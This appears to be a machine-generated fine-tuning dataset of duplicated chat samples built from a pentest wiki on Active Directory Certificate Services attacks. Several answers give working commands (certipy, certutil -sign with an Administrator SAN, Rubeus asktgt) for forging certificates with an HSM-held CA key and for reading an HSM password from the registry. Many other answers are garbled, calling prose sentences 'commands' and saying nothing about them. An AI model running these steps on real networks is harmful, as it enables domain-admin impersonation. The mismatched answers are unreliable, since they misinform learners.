The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the If command to to specify a computer account in the san

[Assistant] If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the If command to to specify a computer account in the san

Response: If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do To specify a computer account in the SAN

[Assistant] If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do To specify a computer account in the SAN

Response: If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.`?

[Assistant] This command is used for to specify a computer account in the san. To specify a computer account in the SAN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.`?

Response: This command is used for to specify a computer account in the san. To specify a computer account in the SAN


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Once command for to specify a computer account in the san

[Assistant] Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (`subjectAltName`).

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Once command for to specify a computer account in the san

Response: Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (`subjectAltName`).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for To specify a computer account in the SAN

[Assistant] Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (`subjectAltName`).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for To specify a computer account in the SAN

Response: Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (`subjectAltName`).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (`subjectAltName`).`?

[Assistant] This command is used for to specify a computer account in the san. To specify a computer account in the SAN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (`subjectAltName`).`?

Response: This command is used for to specify a computer account in the san. To specify a computer account in the SAN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Certificate authority - Redirect the USB device server

[Assistant]
::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

From a Windows machine, if the YubiHSM device is connected through a USB device server, with sufficient administrative access to this server it could be possible to redirect the YubiHSM connection to a controlled machine.

Read the password value in the HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword registry key, and configure it in the controlled server registry.

Then, find a way to configure the USB device server to connect to the attacker controlled server. For this step, the different tasks to perform may vary between the USB device server solutions in use.

> [!DANGER]
> Generally USB device server solutions can't connect the device to multiple systems at once. If the device is disconnected from the CA server, the CA will stop working.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Certificate authority - Redirect the USB device server

Response:
::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

From a Windows machine, if the YubiHSM device is connected through a USB device server, with sufficient administrative access to this server it could be possible to redirect the YubiHSM connection to a controlled machine.

Read the password value in the HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword registry key, and configure it in the controlled server registry.

Then, find a way to configure the USB device server to connect to the attacker controlled server. For this step, the different tasks to perform may vary between the USB device server solutions in use.

> [!DANGER]
> Generally USB device server solutions can't connect the device to multiple systems at once. If the device is disconnected from the CA server, the CA will stop working.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Certificate authority - Redirect the USB device server?

[Assistant]
::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

From a Windows machine, if the YubiHSM device is connected through a USB device server, with sufficient administrative access to this server it could be possible to redirect the YubiHSM connection to a controlled machine.

Read the password value in the HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword registry key, and configure it in the controlled server registry.

Then, find a way to configure the USB device server to connect to the attacker controlled server. For this step, the different tasks to perform may vary between the USB device server solutions in use.

> [!DANGER]
> Generally USB device server solutions can't connect the device to multiple systems at once. If the device is disconnected from the CA server, the CA will stop working.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Certificate authority - Redirect the USB device server?

Response:
::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

From a Windows machine, if the YubiHSM device is connected through a USB device server, with sufficient administrative access to this server it could be possible to redirect the YubiHSM connection to a controlled machine.

Read the password value in the HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword registry key, and configure it in the controlled server registry.

Then, find a way to configure the USB device server to connect to the attacker controlled server. For this step, the different tasks to perform may vary between the USB device server solutions in use.

> [!DANGER]
> Generally USB device server solutions can't connect the device to multiple systems at once. If the device is disconnected from the CA server, the CA will stop working.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Certificate authority - Forge a certificate

[Assistant]
If the CA's private key is stored on a physical USB device such as "YubiHSM2", and a shell access is obtained on the PKI server (even with low privileges), it is possible to modify and sign new certificates.
This can be used to replicate an ESC1 abuse path and impersonate privileged users.

::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

Retrieve a valid certificate  :
``powershell
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key
`

From a Windows machine, as a low privileged user connected into the CA server, obtain the CA certificate (it is public) and import it to the user store:

`powershell
certutil -addstore -user my ./root-ca.cer
`

Next, the certificate must be associated to the private key in the YubiHSM2 device:

`powershell
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>
`

> [!TIP]
> Ignore any CRYPT_E_EXISTS error at this point.

Use the CA certificate and its private key with the certutil -sign command to forge new arbitrary certificates.

`powershell
certutil -sign ./user_esc12.crt new.crt @extension.inf
`

The following .inf file can be used to add a custom SubjectAltName, similarly to the ESC1 abuse.

`powershell
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"
`
Finally, recreate the PFX file and use it to retrieve a TGT as a privileged user.

`powershell
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Certificate authority - Forge a certificate

Response:
If the CA's private key is stored on a physical USB device such as "YubiHSM2", and a shell access is obtained on the PKI server (even with low privileges), it is possible to modify and sign new certificates.
This can be used to replicate an ESC1 abuse path and impersonate privileged users.

::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

Retrieve a valid certificate  :
``powershell
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key
`

From a Windows machine, as a low privileged user connected into the CA server, obtain the CA certificate (it is public) and import it to the user store:

`powershell
certutil -addstore -user my ./root-ca.cer
`

Next, the certificate must be associated to the private key in the YubiHSM2 device:

`powershell
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>
`

> [!TIP]
> Ignore any CRYPT_E_EXISTS error at this point.

Use the CA certificate and its private key with the certutil -sign command to forge new arbitrary certificates.

`powershell
certutil -sign ./user_esc12.crt new.crt @extension.inf
`

The following .inf file can be used to add a custom SubjectAltName, similarly to the ESC1 abuse.

`powershell
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"
`
Finally, recreate the PFX file and use it to retrieve a TGT as a privileged user.

`powershell
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Certificate authority - Forge a certificate?

[Assistant]
If the CA's private key is stored on a physical USB device such as "YubiHSM2", and a shell access is obtained on the PKI server (even with low privileges), it is possible to modify and sign new certificates.
This can be used to replicate an ESC1 abuse path and impersonate privileged users.

::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

Retrieve a valid certificate  :
``powershell
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key
`

From a Windows machine, as a low privileged user connected into the CA server, obtain the CA certificate (it is public) and import it to the user store:

`powershell
certutil -addstore -user my ./root-ca.cer
`

Next, the certificate must be associated to the private key in the YubiHSM2 device:

`powershell
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>
`

> [!TIP]
> Ignore any CRYPT_E_EXISTS error at this point.

Use the CA certificate and its private key with the certutil -sign command to forge new arbitrary certificates.

`powershell
certutil -sign ./user_esc12.crt new.crt @extension.inf
`

The following .inf file can be used to add a custom SubjectAltName, similarly to the ESC1 abuse.

`powershell
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"
`
Finally, recreate the PFX file and use it to retrieve a TGT as a privileged user.

`powershell
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Certificate authority - Forge a certificate?

Response:
If the CA's private key is stored on a physical USB device such as "YubiHSM2", and a shell access is obtained on the PKI server (even with low privileges), it is possible to modify and sign new certificates.
This can be used to replicate an ESC1 abuse path and impersonate privileged users.

::: tabs

=== UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

=== Windows

Retrieve a valid certificate  :
``powershell
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key
`

From a Windows machine, as a low privileged user connected into the CA server, obtain the CA certificate (it is public) and import it to the user store:

`powershell
certutil -addstore -user my ./root-ca.cer
`

Next, the certificate must be associated to the private key in the YubiHSM2 device:

`powershell
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>
`

> [!TIP]
> Ignore any CRYPT_E_EXISTS error at this point.

Use the CA certificate and its private key with the certutil -sign command to forge new arbitrary certificates.

`powershell
certutil -sign ./user_esc12.crt new.crt @extension.inf
`

The following .inf file can be used to add a custom SubjectAltName, similarly to the ESC1 abuse.

`powershell
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"
`
Finally, recreate the PFX file and use it to retrieve a TGT as a privileged user.

`powershell
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the certipy syntax for certificate authority - forge a certificate?

[Assistant]
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the certipy syntax for certificate authority - forge a certificate?

Response:
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate authority - Forge a certificate

[Assistant]
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Certificate authority - Forge a certificate

Response:
certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>`?

[Assistant] This command is used for certificate authority - forge a certificate. Forge a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certipy req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA-Common-Name>`?

Response: This command is used for certificate authority - forge a certificate. Forge a certificate


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the certutil syntax for certificate authority - forge a certificate?

[Assistant] certutil -addstore -user my ./root-ca.cer

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the certutil syntax for certificate authority - forge a certificate?

Response: certutil -addstore -user my ./root-ca.cer


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Certificate authority - Forge a certificate

[Assistant] certutil -addstore -user my ./root-ca.cer

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Certificate authority - Forge a certificate

Response: certutil -addstore -user my ./root-ca.cer


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certutil -addstore -user my ./root-ca.cer`?

[Assistant] This command is used for certificate authority - forge a certificate. Forge a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certutil -addstore -user my ./root-ca.cer`?

Response: This command is used for certificate authority - forge a certificate. Forge a certificate


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the certutil command for certificate authority - forge a certificate

[Assistant] certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the certutil command for certificate authority - forge a certificate

Response: certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Certificate authority - Forge a certificate

[Assistant] certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Certificate authority - Forge a certificate

Response: certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>`?

[Assistant] This command is used for certificate authority - forge a certificate. Forge a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>`?

Response: This command is used for certificate authority - forge a certificate. Forge a certificate


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the certutil command for certificate authority - forge a certificate

[Assistant] certutil -sign ./user_esc12.crt new.crt @extension.inf

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: certutil -sign ./user_esc12.crt new.crt @extension.inf


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Certificate authority - Forge a certificate during a pentest?

[Assistant] certutil -sign ./user_esc12.crt new.crt @extension.inf

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Certificate authority - Forge a certificate during a pentest?

Response: certutil -sign ./user_esc12.crt new.crt @extension.inf


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certutil -sign ./user_esc12.crt new.crt @extension.inf`?

[Assistant] This command is used for certificate authority - forge a certificate. Forge a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certutil -sign ./user_esc12.crt new.crt @extension.inf`?

Response: This command is used for certificate authority - forge a certificate. Forge a certificate


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate authority - Forge a certificate

[Assistant]
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `[Extensions]`?

[Assistant] This command is used for certificate authority - forge a certificate. Forge a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `[Extensions]`?

Response: This command is used for certificate authority - forge a certificate. Forge a certificate


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the openssl.exe command to certificate authority - forge a certificate

[Assistant]
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the openssl.exe command to certificate authority - forge a certificate

Response:
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Certificate authority - Forge a certificate?

[Assistant]
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Certificate authority - Forge a certificate?

Response:
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx

Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx`?

[Assistant] This command is used for certificate authority - forge a certificate. Forge a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx`?

Response: This command is used for certificate authority - forge a certificate. Forge a certificate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Certificate templates - Template theory work?

[Assistant]
> AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “_How long is this certificate valid for?_”, _“What is the certificate used for?”,_ “_How is the subject specified?_”, _“Who is allowed to request a certificate?”_, and a myriad of other settings
>
> \[...]
>
> There is a specific set of settings for certificate templates that makes them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable.
>
> (specterops.io)

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on certificate template misconfigurations (dubbed ESC1, ESC2 and ESC3).

Following this, Olivier Lyak has found two new template misconfigurations (dubbed ESC9 and ESC10).

!Vulnerable configurations for ESC1, ESC2 and ESC3

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Certificate templates - Template theory work?

Response:
> AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “_How long is this certificate valid for?_”, _“What is the certificate used for?”,_ “_How is the subject specified?_”, _“Who is allowed to request a certificate?”_, and a myriad of other settings
>
> \[...]
>
> There is a specific set of settings for certificate templates that makes them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable.
>
> (specterops.io)

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on certificate template misconfigurations (dubbed ESC1, ESC2 and ESC3).

Following this, Olivier Lyak has found two new template misconfigurations (dubbed ESC9 and ESC10).

!Vulnerable configurations for ESC1, ESC2 and ESC3


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Certificate templates - Template theory?

[Assistant]
> AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “_How long is this certificate valid for?_”, _“What is the certificate used for?”,_ “_How is the subject specified?_”, _“Who is allowed to request a certificate?”_, and a myriad of other settings
>
> \[...]
>
> There is a specific set of settings for certificate templates that makes them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable.
>
> (specterops.io)

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on certificate template misconfigurations (dubbed ESC1, ESC2 and ESC3).

Following this, Olivier Lyak has found two new template misconfigurations (dubbed ESC9 and ESC10).

!Vulnerable configurations for ESC1, ESC2 and ESC3

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Certificate templates - Template theory?

Response:
> AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “_How long is this certificate valid for?_”, _“What is the certificate used for?”,_ “_How is the subject specified?_”, _“Who is allowed to request a certificate?”_, and a myriad of other settings
>
> \[...]
>
> There is a specific set of settings for certificate templates that makes them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable.
>
> (specterops.io)

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on certificate template misconfigurations (dubbed ESC1, ESC2 and ESC3).

Following this, Olivier Lyak has found two new template misconfigurations (dubbed ESC9 and ESC10).

!Vulnerable configurations for ESC1, ESC2 and ESC3


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Certificate templates - Certificate mapping

[Assistant]
This section focuses on how a certificate is associated with an account object. Certificate mapping is the part of certificate authentication where the DC takes the principal (user or computer) data provided in the certificate used during authentication, and attempts to map it to a user or computer in the domain.

Understanding certificate mapping is essential to understand ESC9, ESC10 and ESC14.

Mapping can be implicit or explicit, and strong or weak. These two notions work together, and the mapping of a certificate will use one option of each part (implicit and strong, or explicit and strong, and so on).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Certificate templates - Certificate mapping

Response:
This section focuses on how a certificate is associated with an account object. Certificate mapping is the part of certificate authentication where the DC takes the principal (user or computer) data provided in the certificate used during authentication, and attempts to map it to a user or computer in the domain.

Understanding certificate mapping is essential to understand ESC9, ESC10 and ESC14.

